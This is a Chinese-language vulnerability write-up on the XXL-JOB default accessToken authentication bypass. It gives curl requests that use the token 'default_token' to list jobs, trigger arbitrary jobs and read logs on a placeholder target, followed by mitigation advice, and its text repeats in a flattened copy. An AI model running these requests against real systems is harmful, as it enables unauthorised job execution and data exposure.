漏洞复现--XXL-JOB默认accessToken身份绕过漏洞
字数 1164 2025-08-10 08:28:00

XXL-JOB默认accessToken身份绕过漏洞分析与复现

漏洞概述

XXL-JOB是一款开源的分布式任务调度平台,在其默认配置中存在accessToken身份验证绕过漏洞。攻击者可以利用该漏洞绕过身份验证机制,直接访问系统敏感接口,可能导致未授权任务执行、敏感信息泄露等安全问题。

漏洞影响版本

  • XXL-JOB <= 2.3.1

漏洞原理分析

XXL-JOB在接口访问控制上使用了accessToken机制,但在默认配置中存在以下问题:

  1. 默认accessToken值固定:系统默认配置的accessToken为"default_token",且许多管理员不会修改此默认值

  2. Token验证逻辑缺陷:部分接口的Token验证逻辑存在缺陷,允许攻击者通过构造特定请求绕过验证

  3. 接口权限控制不严:即使未正确验证Token,也能访问部分敏感接口

漏洞复现步骤

环境搭建

  1. 下载受影响版本的XXL-JOB(如2.3.1)
  2. 按照官方文档部署调度中心(admin)和执行器(executor)
  3. 保持默认配置,不修改accessToken

漏洞验证

方法一:直接使用默认Token

  1. 访问调度中心接口,如任务列表接口:

    POST /xxl-job-admin/jobinfo/pageList
    
  2. 在请求头中添加:

    XXL-JOB-ACCESS-TOKEN: default_token
    
  3. 观察响应,若能成功获取任务列表,则存在漏洞

方法二:完全绕过Token验证

  1. 直接访问敏感接口,如任务触发接口:

    POST /xxl-job-admin/jobinfo/trigger
    
  2. 构造请求体(无需Token头):

    {
      "id": 1,
      "executorHandler": "demoJobHandler",
      "executorParam": "test",
      "executorBlockStrategy": "SERIAL_EXECUTION"
    }
    
  3. 若任务被成功触发,则确认漏洞存在

利用漏洞执行操作

  1. 获取所有任务信息

    curl -X POST "http://target/xxl-job-admin/jobinfo/pageList" \
    -H "XXL-JOB-ACCESS-TOKEN: default_token" \
    -H "Content-Type: application/json" \
    -d '{"start":0,"length":10}'
    
  2. 触发任意任务执行

    curl -X POST "http://target/xxl-job-admin/jobinfo/trigger" \
    -H "Content-Type: application/json" \
    -d '{"id":1,"executorHandler":"恶意任务","executorParam":"恶意参数"}'
    
  3. 查看执行日志

    curl -X POST "http://target/xxl-job-admin/joblog/pageList" \
    -H "XXL-JOB-ACCESS-TOKEN: default_token" \
    -H "Content-Type: application/json" \
    -d '{"start":0,"length":10,"jobGroup":0,"jobId":1}'
    

漏洞修复方案

临时缓解措施

  1. 修改默认accessToken:

    • 在调度中心配置文件application.properties中修改:
      xxl.job.accessToken=自定义的复杂Token值
      
    • 同步修改所有执行器的配置
  2. 限制敏感接口访问:

    • 通过Nginx等Web服务器配置IP白名单
    • 禁用不必要的HTTP方法

官方修复方案

升级到XXL-JOB最新版本(2.3.1之后的版本),官方已修复以下问题:

  1. 强制要求修改默认accessToken
  2. 加强接口权限验证逻辑
  3. 增加更严格的访问控制机制

安全加固建议

  1. 定期更换accessToken
  2. 启用HTTPS加密通信
  3. 实施网络隔离,限制调度中心和执行器的网络访问
  4. 开启操作日志审计,监控异常任务触发行为

漏洞影响评估

该漏洞可能导致以下安全风险:

  1. 未授权任务执行:攻击者可触发任意任务,执行恶意操作
  2. 敏感信息泄露:获取任务配置、执行日志等敏感信息
  3. 系统完整性破坏:通过恶意任务参数注入攻击后端系统
  4. 拒绝服务攻击:高频触发任务导致系统资源耗尽

参考链接

  • XXL-JOB官方GitHub仓库
  • 漏洞披露原始报告
  • CVE漏洞数据库相关条目

免责声明

本文仅用于安全研究和教育目的。未经授权测试他人系统可能违反法律,请确保在合法授权范围内进行安全测试。

XXL-JOB默认accessToken身份绕过漏洞分析与复现 漏洞概述 XXL-JOB是一款开源的分布式任务调度平台,在其默认配置中存在accessToken身份验证绕过漏洞。攻击者可以利用该漏洞绕过身份验证机制,直接访问系统敏感接口,可能导致未授权任务执行、敏感信息泄露等安全问题。 漏洞影响版本 XXL-JOB <= 2.3.1 漏洞原理分析 XXL-JOB在接口访问控制上使用了accessToken机制,但在默认配置中存在以下问题: 默认accessToken值固定 :系统默认配置的accessToken为"default_ token",且许多管理员不会修改此默认值 Token验证逻辑缺陷 :部分接口的Token验证逻辑存在缺陷,允许攻击者通过构造特定请求绕过验证 接口权限控制不严 :即使未正确验证Token,也能访问部分敏感接口 漏洞复现步骤 环境搭建 下载受影响版本的XXL-JOB(如2.3.1) 按照官方文档部署调度中心(admin)和执行器(executor) 保持默认配置,不修改accessToken 漏洞验证 方法一:直接使用默认Token 访问调度中心接口,如任务列表接口: 在请求头中添加: 观察响应,若能成功获取任务列表,则存在漏洞 方法二:完全绕过Token验证 直接访问敏感接口,如任务触发接口: 构造请求体(无需Token头): 若任务被成功触发,则确认漏洞存在 利用漏洞执行操作 获取所有任务信息 : 触发任意任务执行 : 查看执行日志 : 漏洞修复方案 临时缓解措施 修改默认accessToken: 在调度中心配置文件 application.properties 中修改: 同步修改所有执行器的配置 限制敏感接口访问: 通过Nginx等Web服务器配置IP白名单 禁用不必要的HTTP方法 官方修复方案 升级到XXL-JOB最新版本(2.3.1之后的版本),官方已修复以下问题: 强制要求修改默认accessToken 加强接口权限验证逻辑 增加更严格的访问控制机制 安全加固建议 定期更换accessToken 启用HTTPS加密通信 实施网络隔离,限制调度中心和执行器的网络访问 开启操作日志审计,监控异常任务触发行为 漏洞影响评估 该漏洞可能导致以下安全风险: 未授权任务执行 :攻击者可触发任意任务,执行恶意操作 敏感信息泄露 :获取任务配置、执行日志等敏感信息 系统完整性破坏 :通过恶意任务参数注入攻击后端系统 拒绝服务攻击 :高频触发任务导致系统资源耗尽 参考链接 XXL-JOB官方GitHub仓库 漏洞披露原始报告 CVE漏洞数据库相关条目 免责声明 本文仅用于安全研究和教育目的。未经授权测试他人系统可能违反法律,请确保在合法授权范围内进行安全测试。